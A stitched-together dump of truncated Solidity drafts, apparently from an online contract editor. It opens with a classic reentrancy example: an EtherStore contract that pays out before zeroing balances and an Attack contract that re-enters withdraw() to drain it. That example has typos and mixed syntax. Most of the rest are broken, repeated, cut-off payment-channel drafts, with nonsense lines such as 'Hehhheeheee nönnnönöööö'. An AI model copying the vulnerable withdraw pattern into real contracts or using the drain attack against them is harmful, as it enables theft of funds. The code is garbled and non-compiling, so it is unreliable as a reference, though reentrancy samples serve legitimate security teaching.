pragma solidity ^0.4.18;
contract EtherStore {
  mapping(address => uint) public balances;
  function deposit() public payable{
    balances[msg.sender] += msg.value;
  }
  function getBalance() public view returns (uint){
    return address(this).balance;
  }
  function withdraw() public{
    uint bal = balances[msg.sender];
    require (bal>0);
    (bool sent, ) = msg.sender.call{value:ball}("");
    require(sent,"Failed to send Ether");
    balances[msg.sender]=0;
  }
}

contract Attack{
  EtherStore public etherStore;

  constructor (address _etherStoreAddress){
    etherStore = EtherStore(_etherStoreAddress);
  }

  fallback() eternal payable{
    if(address(etherStore).balance >= 1 ether){
      etherStore.withdraw();
    }
  }

  function attack() ethernal payable{
    require(msg.value >= 1 ether);
    etherStore.deposit{value: 1 ether}();
    etherStore.withdraw();
  }
  function getBalance() public view returns (uint){
    return address(this).balance;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }
  

  function get() public constant returns (uint) {
    return value;
  }

  Hehhheeheee nönnnönöööö asdasdasdasd

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  Hehhheeheee nönnnönöööö asdasdasdasd

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  Hehhheeheee nönnnönöööö asdasdasdasd

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  Hehhheeheee nönnnönöööö

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[100][100][2] public adjMatrix;
    uint public passedTxnsCnt;
    uint public test;
    uint public testTotal;
    uint[] public path;

    constructor() public {
      // loopVar = initVal*50;
      totalUsers = 0;
      passedTxnsCnt = 0;
      // for (uint i = 0; i < 100; i++){
      //   for (uint j=0; j<100; j++){
      //     adjMatrix[0][j][i] = -1;
      //     adjMatrix[1][j][i] = -1;
      //     adjMatrix[0][i][j] = -1;
      //     adjMatrix[1][i][j] = -1;
      //   }
      // }
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[100][100][2] public adjMatrix;
    uint public passedTxnsCnt;
    uint public test;
    uint[] public path;

    constructor() public {
      // loopVar = initVal*50;
      totalUsers = 0;
      passedTxnsCnt = 0;
      // for (uint i = 0; i < 100; i++){
      //   for (uint j=0; j<100; j++){
      //     adjMatrix[0][j][i] = -1;
      //     adjMatrix[1][j][i] = -1;
      //     adjMatrix[0][i][j] = -1;
      //     adjMatrix[1][i][j] = -1;
      //   }
      // }
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][0] = string(userID);
      

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[100][100][2] public adjMatrix;
    uint public passedTxnsCnt;
    uint public test;

    constructor() public {
      // loopVar = initVal*50;
      totalUsers = 0;
      passedTxnsCnt = 0;
      // for (uint i = 0; i < 100; i++){
      //   for (uint j=0; j<100; j++){
      //     adjMatrix[0][j][i] = -1;
      //     adjMatrix[1][j][i] = -1;
      //     adjMatrix[0][i][j] = -1;
      //     adjMatrix[1][i][j] = -1;
      //   }
      // }
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUser

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }


  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getRandom() public constant returns (uint) {
    return value;
  }

  function getAccount(uint user_id) public constant returns (uint[3][]){
    return account[user_id];
  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (boo

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[100][100][2] public adjMatrix;
    uint passedTxnsCnt;

    constructor() public {
        // loopVar = initVal*50;
        totalUsers = 0;
        passedTxnsCnt = 0;
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
    

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers;
    // userID -> index
    mapping (uint => uint) public userMap;
    // string[][2] public userDetails;
    int[][][2] public adjMatrix;
    uint passedTxnsCnt;

    constructor() public {
        // loopVar = initVal*50;
        totalUsers = 0;
        passedTxnsCnt = 0;
    }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
      }
  

pragma solidity ^0.4.24;

contract PCL{


    //mapping(uint256 => uint) queue;
    // uint256 first = 1;
    // uint256 last = 0;

    // function enqueue(uint data) public {
    //     last += 1;
    //     queue[last] = data;
    // }

    // function dequeue() public returns (uint data) {
    //     require(last >= first);  // non-empty queue

    //     data = queue[first];

    //     delete queue[first];
    //     first += 1;
    // }
    
    struct User {
        uint id;
        string name;
    }
    
    
    struct JointAcc
    {
        uint  id;
        uint  coin1;
        uint coin2;
    }
    mapping (uint => JointAcc[]) public joint_acc;
    mapping (uint => User) public user_map;
    // mapping (uint => JointAcc) public joint_acc;
    constructor() public{

   }

    function registerUser(uint user_id, string uname) public {
        User memory new_user = User(user_id, uname);
        user_map[user_id] = new_user;
    }
    
    function getuser(uint user_id) public view returns(string){

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers = 0;
    // userID -> index
    mapping (uint => uint) public userMap;
    string[][2] public userDetails;
    int[][][2] public adjMatrix;

    // constructor(uint initVal) public {
    //     // loopVar = initVal*50;
    //     totalUsers = 0;
    // }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) view public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
      }
      totalUsers += 1;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers = 0;
    // userID -> index
    mapping (uint => uint) public userMap;
    string[][2] public userDetails;
    int[][][2] public adjMatrix;

    // constructor(uint initVal) public {
    //     // loopVar = initVal*50;
    //     totalUsers = 0;
    // }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) view public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
      }
      totalUsers += 1;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers = 0;
    mapping (uint => uint) public userMap;
    string[][2] public userDetails;
    int[][][2] public adjMatrix;

    // constructor(uint initVal) public {
    //     // loopVar = initVal*50;
    //     totalUsers = 0;
    // }

    // function runLoop() view public{
    // 	uint a=0;
	  //   for (uint i = 0; i < loopVar; i++) 
	  //   { 
	  //       a++;
	  //   } 
    // }

    function registerUser(uint userID, string userName) view public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      for (uint i = 0; i < totalUsers; i++){
          adjMatrix[totalUsers][i][0] = -1;
          adjMatrix[totalUsers][i][1] = -1;
          adjMatrix[i][totalUsers][0] = -1;
          adjMatrix[i][totalUsers][1] = -1;
      }
      totalUsers += 1;
    }

    function cre

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract Sorter {
    uint public totalUsers = 0;
    mapping (uint => uint) public userMap;
    string[][2] public userDetails;
    uint[][][2] public adjMatrix;

    constructor(uint initVal) public {
        // loopVar = initVal*50;
        totalUsers = 0;
    }

    function runLoop() view public{
    	uint a=0;
	    for (uint i = 0; i < loopVar; i++) 
	    { 
	        a++;
	    } 
    }

    function registerUser(uint userID, string userName) view public{
      // userDetails[totalUsers][0] = string(userID);
      // userDetails[totalUsers][0] = userName;
      userMap[userID] = totalUsers;
      adjMatrix[totalUsers][] = [-1, -1];
      adjMatrix[][totalUsers] = [-1, -1];
      totalUsers += 1;
    }

    function createAcc(uint userID1, uint userID2) view public{
      uint x = exponentialsample 
      adjMatrix[ userMap[userID1], userMap[userID2] ] = [x/2, x/2];
    }

    function sendAmo

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract SimpleStore {
  function set(uint _value) public {
    value = _value;
    int [2][3] adjlist;

  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.18;
contract DAPP {

  struct User {
    uint user_id;
    string user_name;
    uint[] connections;
    uint available_balance;
  }

  struct Link {
    uint bal;
  }


  mapping (uint => User) users;
  mapping (uint => mapping(uint => Link)) links;
  uint[] public UserIDs;
  
  function registerUser(uint user_id, string user_name, uint balance) public {
    User storage newUser = users[user_id];
    newUser.user_id = user_id;
    newUser.user_name = user_name;
    newUser.available_balance = balance;
    UserIDs.push(user_id);
  }

  function createAcc(uint user_id1 ,uint user_id2, uint bal1, uint bal2) public {
    if (bal1 <= users[user_id1].available_balance && bal2 <= users[user_id1].available_balance){
      users[user_id1].available_balance -= bal1;
      users[user_id2].available_balance -= bal2;
      users[user_id1].connections.push(user_id2);
      links[user_id1][user_id2].bal = bal1;
   

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract DAPP {

  struct User {
    uint user_id;
    string user_name;
    uint[] connections;
    uint available_balance;
  }

  struct Link {
    uint uid1;
    uint uid2;
    uint bal1;
    uint bal2;
  }

  

  mapping (uint => User) users;
  mapping (uint => mapping(uint => Link)) links;
  uint[] public UserIDs;
  
  function registerUser(uint user_id, string user_name) public {
    User storage newUser = users[user_id];
    newUser.user_id = user_id;
    newUser.user_name = user_name;
    UserIDs.push(user_id);
  }

  function createAcc(uint user_id1 ,uint user_id2, uint bal1, uint bal2) public {
    if (bal1 <= users[user_id1].available_balance && bal2 <= users[user_id1].available_balance){
      users[user_id1].available_balance -= bal1;
      users[user_id2].available_balance -= bal2;
      users[user_id1].connections.push(user_id2);
      users[user_id2].connections.push(user_id1);
    

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getAccount(uint user_id) public constant returns (uint[3][]){
    return account[user_id];
  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (bool) {
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (bool) {
    return txn_success;
  }

  function sendAmount(uint source, uint destination, uint amount) public{
    
 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  mapping(string => uint) internal userMapping;

  struct Edge{
    uint user_id;
    uint amount;
  }

  //mapping(uint => Edge[]) internal edgeMapping;
  mapping(uint => uint[]) internal edgeMapping;
  mapping(uint => mapping(uint => uint)) amountMapping;

  constructor() public{

  }

  function registerUser(uint user_id, string user_name) public{
    userMapping[user_name]=user_id;
  }

  function createAcc(uint user_id_1, uint user_id_2, uint amount) public{
    //Edge memory e1;
    //e1.user_id=user_id_2;
    //e1.amount=amount/2;

    //Edge memory e2;
    //e2.user_id=user_id_1;
    //e2.amount=amount/2;

    //edgeMapping[user_id_1].push(e1);
    //edgeMapping[user_id_2].push(e2);

    edgeMapping[user_id_1].push(user_id_2);
    amountMapping[user_id_1][user_id_2] = amount/2;

    edgeMapping[user_id_2].push(user_id_1);
    amountMapping[user_id_2][user_id_1] = amou

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (bool) {
    return txn_success;
  }

  function sendAmount(uint source, uint destination, uint amount) public{
    
 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function getTxnState() public constant returns (bool) {
    return txn_success;
  }

  function sendAmount(uint source, uint destination, uint amount) public{
    
 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function sendAmount(uint source, uint destination, uint amount) public returns (bool){
    
    if (destination==source){
        return true;
    }

    for(uint i=

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint[] users;
  uint num_users=0;
  mapping (uint => string) usernames;
  mapping (uint => uint[3][]) account; 


  function registerUser(uint use_id, string user_name) public{
    users.push(use_id);
    num_users+=1;
    parent.push(-1);
    dist.push(-1);
    usernames[use_id]=user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint contri1, uint contri2) public{
    account[user_id1].push([contri1, user_id2, contri2]);
    account[user_id2].push([contri2, user_id1, contri1]);

  }

  function getPath() public constant returns (uint[]) {
    return path;
  }

  function shortestPath(uint source, uint destination, uint amount) public{
    // if(dist.length==num_users){
    //   path.push(9);
    // }
    for(uint i=0;i<num_u

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) pred;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) public accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.accounts.p

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) pred;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) public accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.accounts.p

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) public accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.ac

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.accounts.

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = jointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.peers.push(user_id2);
    user1.accounts.

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2,uint balance) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[currentAcc] = JointAccount({id: currentAcc});
    accounts[currentAcc].balances[user_id1] = balance/2;
    accounts[currentAcc].balances[user_id2] = balance/2;

    user1.connected_peers.push(user_id2);
    user1

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{
  uint userCount = 0;
  struct User {
    uint id;
    string name;
    uint[] peers;
    uint[] accounts;
  }
  mapping(uint => User) users;
  mapping(uint => uint) child2parent;

  struct jointAccount {
    uint id;
    mapping(uint => uint) balances;
  }
  uint currentAcc = 0;
  mapping(uint => jointAccount) accounts;

  function registerUser(uint user_id, string user_name) public {
    User storage user = users[user_id]; 
    user.id = user_id;
    user.name = user_name;
    userCount += 1;
  }

  function createAccount(uint user_id1, uint user_id2) public {
    User storage user1 = users[user_id1];
    User storage user2 = users[user_id2];


    accounts[curr_account_number] = JointAccount({account_number: curr_account_number});
    accounts[curr_account_number].balances[user_id1] = 5;
    accounts[curr_account_number].balances[user_id2] = 5;

    user1.connected_peers.push(u

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;

contract deCent{

  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleChannel {

  struct user{
    uint id;
    string name;
    uint[] nbr_list;
    mapping(uint => uint) nbr_balances;
  }

  uint[] public user_list;
  mapping(uint => user) public user_map;
  mapping(uint => bool) private visited;
  mapping(uint => uint) public parent;


  function getUserNbrs(uint user_id) public view returns (uint[]){
    var usero = user_map[user_id];
    return usero.nbr_list;
  }
  function getUserNbrBalance(uint user_id, uint nbr_id) public view returns (uint){
    var usero = user_map[user_id];
    return usero.nbr_balances[nbr_id];
  }
  function getPath(uint user_id) public view returns (uint[]){
    uint[] memory pth = new uint[](user_list.length);
    uint curr_id = user_id;
    uint i = 0;
    while(curr_id!=0){
      pth[i] = curr_id;
      curr_id = parent[curr_id];
      i += 1;
    }
    return pth;

  }
  function registerUser(uint user_id, string us

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct user{
    uint id;
    string name;
    uint[] nbr_list;
    mapping(uint => uint) nbr_balances;
  }

  uint[] public user_list;
  mapping(uint => user) public user_map;

  function getUserNbrs(uint user_id) public view returns (uint[]){
    var usero = user_map[user_id];
    return usero.nbr_list;
  }
  function getUserNbrBalance(uint user_id, uint nbr_id) public view returns (uint){
    var usero = user_map[user_id];
    return usero.nbr_balances[nbr_id];
  }
  
  function registerUser(uint user_id, string user_name) public {
    user_list.push(user_id);
    var data = user_map[user_id];
    data.id = user_id;
    data.name = user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint balance1, uint balance2) public {
    var user1 = user_map[user_id1];
    var user2 = user_map[user_id2];
    user1.nbr_list.push(user_id2);
    user2.nbr_list.push(user_

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct user{
    uint id;
    string name;
    uint[] nbr_list;
    mapping(uint => uint) nbr_balances;
  }

  uint[] public user_list;
  mapping(uint => user) public user_map;

  function getUserNbrs(uint user_id) public view returns (uint[]){
    var usero = user_map[user_id];
    return usero.nbr_list;
  }
  function getUserNbrBalance(uint user_id, uint nbr_id) public view returns (uint){
    var usero = user_map[user_id];
    return usero.nbr_balances[nbr_id];
  }
  
  function registerUser(uint user_id, string user_name) public {
    user_list.push(user_id);
    var data = user_map[user_id];
    data.id = user_id;
    data.name = user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint balance1, uint balance2) public {
    var user1 = user_map[user_id1];
    var user2 = user_map[user_id2];
    user1.nbr_list.push(user_id2);
    user2.nbr_list.push(user_

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct user{
    uint id;
    string name;
    uint[] nbr_list;
    mapping(uint => uint) nbr_balances;
  }

  uint[] public user_list;
  mapping(uint => user) public user_map;


  function registerUser(uint user_id, string user_name) public {
    user_list.push(user_id);
    var data = user_map[user_id];
    data.id = user_id;
    data.name = user_name;
  }

  function createAcc(uint user_id1, uint user_id2, uint balance1, uint balance2) public {
    var user1 = user_map[user_id1];
    var user2 = user_map[user_id2];
    user1.nbr_list.push(user_id2);
    user2.nbr_list.push(user_id1);
    user1.nbr_balances[user_id2] = balance1;
    user2.nbr_balances[user_id1] = balance2;
  }

  // function sendAmount(uint user_id1, uint user_id2, uint amt) public {
    
  // }
  function arrayPop(uint user_id1, uint user_id2) private {
      var user1 = user_map[user_id1];
      var us

enum ItemTypes { torso, head, legs, leftArm, rightArm, background, other }
mapping(uint => ItemTypes) public itemType

// Each uint is tokenID in Items contract
// This example is not optimized for memory, 
// possible select smaller uint data types (uint16, uint32) to conserve memory?

struct Robot { // uint refers to ERC-1155 tokenId
 uint head;
 uint leftArm;
 uint rightArm;
